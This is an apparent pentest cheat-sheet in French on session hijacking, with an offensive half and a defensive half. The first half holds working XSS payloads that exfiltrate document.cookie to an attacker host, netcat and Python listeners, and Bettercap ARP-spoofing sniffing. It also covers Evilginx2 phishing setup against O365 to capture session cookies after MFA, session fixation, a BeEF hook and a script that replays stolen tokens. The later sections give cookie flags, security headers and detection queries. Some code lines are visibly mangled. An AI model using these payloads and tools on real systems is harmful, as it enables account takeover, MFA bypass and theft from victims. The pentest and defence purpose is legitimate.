MDstable
NoteSnippetChecklistPlaybook

Vol de session — Session Hijacking

XSS cookie theft, Evilginx2 reverse proxy, BeEF, session fixation, MITM cookies — attaque et détection

snippetadvanced 2026-05-14 10 min read
session-hijackingxsscookieevilginxbeefsession-fixationcsrfburpsuitepentestblue-team

Vue d'ensemble

Vecteurs de vol de session
XSS documentcookie exfiltration vers serveur attaquant
MITM sniff trafic HTTP cookie en clair
Evilginx2 reverse proxy transparent capture cookie POST-2FA
Fixation forcer un session ID connu victime sauthentifie avec ce ID
BeEF hook navigateur steal cookies actions dans le contexte auth
Phishing fausse page identique proxy relay vrai cookie transfr
Objectif final rejouer le cookie dans Burp/navigateur session active sans credentials

Vecteur 1 — Vol de cookie via XSS

javascript
Variables
{{LHOST}}
{{LPORT}}
// Payload XSS — exfiltration document.cookie
<script>
new Image().src = "http://{{LHOST}}:{{LPORT}}/steal?c=" + encodeURIComponent(document.cookie);
</script>
// Version encodée (contourne filtres basiques)
<img src=x onerror="fetch('http://{{LHOST}}:{{LPORT}}/?c='+btoa(document.cookie))">
// Via fetch (plus discret, pas de requête image dans le DOM)
<script>fetch("http://{{LHOST}}:{{LPORT}}/c?"+document.cookie)</script>
// Stored XSS — payload injecté dans un champ persistant (commentaire, profil)
// → se déclenche pour chaque visiteur authentifié
bash
Variables
{{LPORT}}
# Récepteur côté attaquant — serveur Python minimal
python3 -c
import httpserver urllibparse
class HhttpserverBaseHTTPRequestHandler
def do_GETself
print'[COOKIE]' urllibparseunquoteselfpath
selfsend_response200; selfend_headers
def log_messageself a pass
httpserverHTTPServer'0.0.0.0' {{LPORT}} Hserve_forever
# Ou via netcat (brut)
nc -lvnp {{LPORT}}
bash
Variables
{{BURP_COLLAB_URL}}
# Récepteur avec Burp Collaborator (lab externe)
# Générer une URL unique : Burp → Collaborator → Copy to clipboard
# Injecter : <script>fetch('https://{{BURP_COLLAB_URL}}/?c='+document.cookie)</script>
# → Les cookies arrivent dans l'onglet Collaborator

Vecteur 2 — Interception réseau (HTTP non chiffré)

bash
Variables
{{INTERFACE}}
{{VICTIM_IP}}
# Bettercap — sniffer cookies HTTP en clair
bettercap -iface {{INTERFACE}}
# Dans la console :
netprobe on
set arpspooftargets {{VICTIM_IP}}
set arpspooffullduplex true
arpspoof on
# Activer le sniffer avec filtre cookie
set netsnifffilter "port 80"
set netsniffregexp "Cookie:.*"
netsniff on
bash
Variables
{{INTERFACE}}
# tcpdump — capturer les headers HTTP avec cookies
tcpdump -i {{INTERFACE}} -A -s 0 'tcp port 80 and (((ip[2:2] - ((ip[0]&0xf)<<2)) - ((tcp[12]&0xf0)>>2)) != 0)'
| grep -E "Cookie:|Set-Cookie:"
# Wireshark — filtre pour extraire les cookies
# http.cookie or http.set_cookie
# Suivre le flux TCP → copier la valeur Cookie: header

Vecteur 3 — Evilginx2 — Reverse proxy transparent (bypass 2FA)

Variables
{{PHISH_DOMAIN}}
{{LEGIT_DOMAIN}}
Architecture Evilginx2
Victime https//{{PHISH_DOMAIN}} Evilginx2 https//{{LEGIT_DOMAIN}}
faux domaine proxy vrai site
Evilginx capture
Credentials saisis
Cookie de session APRS authentification
Rejouer le cookie accs sans MFA
bash
Variables
{{PHISH_DOMAIN}}
{{SERVER_IP}}
{{PHISH_SUBDOMAIN}}
{{LURE_ID}}
{{SESSION_ID}}
# Installation Evilginx2
apt install golang-go -y
git clone https//github.com/kgretzky/evilginx2
cd evilginx2 && make
# Lancer (nécessite un domaine + certificat Let's Encrypt auto)
/evilginx2 -p phishlets
# Configuration dans la console :
config domain {{PHISH_DOMAIN}}
config ipv4 {{SERVER_IP}}
# Choisir un phishlet (template pour un site cible)
phishlets hostname o365 {{PHISH_SUBDOMAIN}}{{PHISH_DOMAIN}}
phishlets enable o365
# Créer un lien de phishing (lure)
lures create o365
lures get-url {{LURE_ID}}
# → URL à envoyer à la victime
# Dès que la victime s'authentifie (y compris 2FA) :
sessions # lister les sessions capturées
sessions {{SESSION_ID}} # voir les tokens/cookies
bash
Variables
{{LEGIT_DOMAIN}}
# Rejouer le cookie volé dans Firefox
# Extensions : Cookie-Editor ou EditThisCookie
# Aller sur https://{{LEGIT_DOMAIN}}
# Importer le cookie capturé (nom, valeur, domaine, chemin)
# Recharger → session active

Vecteur 4 — Session Fixation

Principe
1 Attaquant gnre un session ID valide ou le fixe via URL/cookie
2 Victime reoit ce session ID via lien pig injection de cookie
3 Victime sauthentifie serveur associe ses credentials ce session ID
4 Attaquant utilise le mme session ID session auth active
bash
Variables
{{TARGET}}
{{FIXED_SESSION_ID}}
{{TARGET_DOMAIN}}
# Test manuel — vérifier si le session ID change après login
# Avant login :
# Session ID = ABC123
# Après login :
# Session ID = ABC123 ← VULNÉRABLE (pas de régénération)
# Session ID = XYZ789 ← PROTÉGÉ (nouveau ID généré)
# Injecter un session ID via paramètre URL (si supporté par l'app)
# https://{{TARGET}}/login?PHPSESSID={{FIXED_SESSION_ID}}
# → Si le serveur accepte, la victime s'authentifie avec ce PHPSESSID
# Forcer un cookie via sous-domaine (si domaine parent accepte les cookies)
# Depuis attacker.{{TARGET_DOMAIN}} :
documentcookie "PHPSESSID={{FIXED_SESSION_ID}}; domain=.{{TARGET_DOMAIN}}; path=/";

Vecteur 5 — BeEF (Browser Exploitation Framework)

bash
Variables
{{LHOST}}
# Installer BeEF
git clone https//github.com/beefproject/beef
cd beef && /install
/beef
# Interface web : http://127.0.0.1:3000/ui/panel
# Credentials par défaut : beef / beef (à changer dans config.yaml)
# Hook JavaScript à injecter dans la page cible (via XSS stored)
<script src"http://{{LHOST}}:3000/hook.js"></script>
javascript
Variables
{{LHOST}}
// Une fois le navigateur hookés (zombie dans BeEF) :
// Modules disponibles :
// [Steal Cookies] — exfiltrer document.cookie
// Network → Get Cookie
// [Session Rider] — envoyer des requêtes HTTP dans le contexte de la victime
// Network → Raw Request → POST /api/transfer avec les cookies injectés auto
// [Redirect Browser] — rediriger vers une page de phishing
// Browser → Redirect Browser → URL : http://{{LHOST}}/fake-login
// [Screenshot] — capture d'écran du navigateur
// Browser → Screenshot
// [Keylogger] — enregistrer les frappes sur les formulaires
// Browser → Hooked Domain → Get Form Values

Vecteur 6 — Manipulation de session avec Burp Suite

bash
Variables
{{STOLEN_SESSION_TOKEN}}
# Capturer une requête authentifiée dans Burp Proxy
# → Clic droit → Send to Repeater
# Dans Repeater : modifier le cookie de session
# Cookie: session={{STOLEN_SESSION_TOKEN}}
# Comparer la réponse avec le token original vs volé
# Si réponse identique → session valide
# Burp Intruder — brute-force de session ID (si faible entropie)
# § autour du token → Payload : liste de tokens générés
# Bruteforcer en cherchant une réponse 200 vs 302 (redirect login)
python
Variables
{{STOLEN_SESSION_TOKEN}}
{{STOLEN_PHPSESSID}}
{{TARGET}}
# Script Python — rejouer un cookie volé
import requests
cookies = {
"session": "{{STOLEN_SESSION_TOKEN}}",
"PHPSESSID": "{{STOLEN_PHPSESSID}}"
}
r = requests.get("https://{{TARGET}}/dashboard", cookies=cookies, allow_redirects=False)
print(r.status_code) # 200 = session active, 302 = session expirée
print(r.text[:500]) # contenu de la page authentifiée

Défense — Flags de sécurité des cookies

python
# Python (Flask) — configuration sécurisée des cookies
app.config.update(
SESSION_COOKIE_SECURE=True, # HTTPS uniquement
SESSION_COOKIE_HTTPONLY=True, # inaccessible via document.cookie
SESSION_COOKIE_SAMESITE='Strict', # bloque CSRF + cookies cross-site
SESSION_COOKIE_NAME='__Host-sess' # préfixe __Host- force Secure + pas de sous-domaine
)
java
// Java (Spring Boot) — configuration sécurisée
// application.properties
server.servlet.session.cookie.secure=true
server.servlet.session.cookie.http-only=true
server.servlet.session.cookie.same-site=strict
php
// PHP — forcer les flags sécurisés
ini_set('session.cookie_secure', 1);
ini_set('session.cookie_httponly', 1);
ini_set('session.cookie_samesite', 'Strict');
ini_set('session.use_strict_mode', 1); // rejette les session IDs imposés de l'extérieur
session_start();
javascript
// Node.js (Express + express-session)
app.use(session({
secret: process.env.SESSION_SECRET,
resave: false,
saveUninitialized: false,
cookie: {
secure: true,
httpOnly: true,
sameSite: 'strict',
maxAge: 3600000 // 1h — courte durée de vie
}
}));

Défense — Régénération du session ID

php
// PHP — régénérer le session ID après login (anti-fixation)
session_start();
// ... vérification credentials ...
if ($credentials_valid) {
session_regenerate_id(true); // true = détruit l'ancien ID
$_SESSION['user'] = $user;
}
python
# Flask — régénérer à chaque élévation de privilège
from flask import session
import secrets
@app.route('/login', methods=['POST'])
def login():
if verify_credentials(request.form):
session.clear() # vide l'ancienne session
session['user'] = request.form['user']
session['_csrf_token'] = secrets.token_hex(32)
return redirect('/dashboard')

Défense — Headers HTTP

nginx
Variables
{{CSP_NONCE}}
# Nginx — headers de sécurité
add_header Strict-Transport-Security "max-age=31536000; includeSubDomains; preload" always;
add_header Content-Security-Policy "default-src 'self'; script-src 'self' 'nonce-{{CSP_NONCE}}'; object-src 'none';" always;
add_header X-Frame-Options "DENY" always;
add_header X-Content-Type-Options "nosniff" always;
add_header Referrer-Policy "no-referrer" always;
add_header Permissions-Policy "camera=(), microphone=(), geolocation=()" always;
Variables
{{NONCE}}
CSP anti-XSS Content-Security-Policy)
script-src 'self' bloque les scripts inline et cross-origin
script-src 'nonce-{{NONCE}}' autorise uniquement les scripts avec le bon nonce
object-src 'none' bloque Flash Java obsoltes mais encore injects
Impact sur le vol de cookie XSS
fetch et new Image bloqus si connect-src 'self'
documentcookie accessible mme avec CSP seul HttpOnly bloque a

Défense — Détection (SIEM / logs)

bash
Variables
{{OWN_IP}}
{{SESSION_TOKEN}}
# Nginx — identifier les sessions rejouées depuis des IPs différentes
awk '{print $1, $7, $12}' /var/log/nginx/access.log |
grep -v "{{OWN_IP}}" | sort | uniq -c | sort -rn | head -30
# Chercher les accès depuis plusieurs IPs avec le même session token
# (indicateur de session hijacking actif)
grep "{{SESSION_TOKEN}}" /var/log/nginx/access.log | awk '{print $1}' | sort -u
# > 2 IPs distinctes avec même token = compromission probable
python
# Validation côté serveur — lier la session à l'empreinte navigateur
import hashlib
def make_session_fingerprint(request):
raw = request.headers.get('User-Agent', '') + request.headers.get('Accept-Language', '')
return hashlib.sha256(raw.encode()).hexdigest()[:16]
# Au login : stocker le fingerprint dans la session
session['fingerprint'] = make_session_fingerprint(request)
# À chaque requête : vérifier
if session.get('fingerprint') != make_session_fingerprint(request):
session.clear()
abort(401) # session invalidée — fingerprint ne correspond plus
sql
Variables
{{USER_ID}}
-- Détecter les sessions actives depuis des localisations inhabituelles
-- (si GeoIP est logué)
SELECT session_id, user_id, ip, country, created_at
FROM user_sessions
WHERE user_id = {{USER_ID}}
AND country NOT IN (
SELECT DISTINCT country FROM user_sessions
WHERE user_id = {{USER_ID}} AND created_at < NOW() - INTERVAL '30 days'
);

Référence — Flags de sécurité des cookies

| Flag | Protection | Contre quoi | |---|---|---| | HttpOnly | document.cookie inaccessible en JS | XSS cookie theft | | Secure | Cookie envoyé uniquement en HTTPS | Sniffing HTTP / MITM | | SameSite=Strict | Cookie non envoyé en requête cross-site | CSRF, Clickjacking relay | | SameSite=Lax | Envoyé sur navigation top-level uniquement | CSRF (partiel) | | __Host- préfixe | Force Secure + domaine exact + path=/ | Injection depuis sous-domaine | | __Secure- préfixe | Force Secure uniquement | Cookie HTTP downgrade |


Checklist défensive — gestion des sessions

Checklist0/12
⚠ Attention —

Evilginx2 contourne le MFA car il capture le cookie de session APRÈS l'authentification complète. HttpOnly et Secure ne protègent pas contre ce vecteur — la seule défense efficace est le token binding (lier le cookie TLS au certificat client) ou les passkeys/FIDO2 qui signent le domaine réel, rendant les credentials inutilisables sur un domaine proxy.

💡 Tip —

Le flag SameSite=Strict est souvent la mesure la plus simple et la plus impactante : il bloque à la fois le CSRF et l'envoi de cookies depuis un domaine de phishing. L'inconvénient est qu'il casse les liens externes vers des pages authentifiées (l'utilisateur est redirigé vers le login). SameSite=Lax est un bon compromis pour la plupart des applications.

OPS·BRAIN v1.075 notes · Securitylocal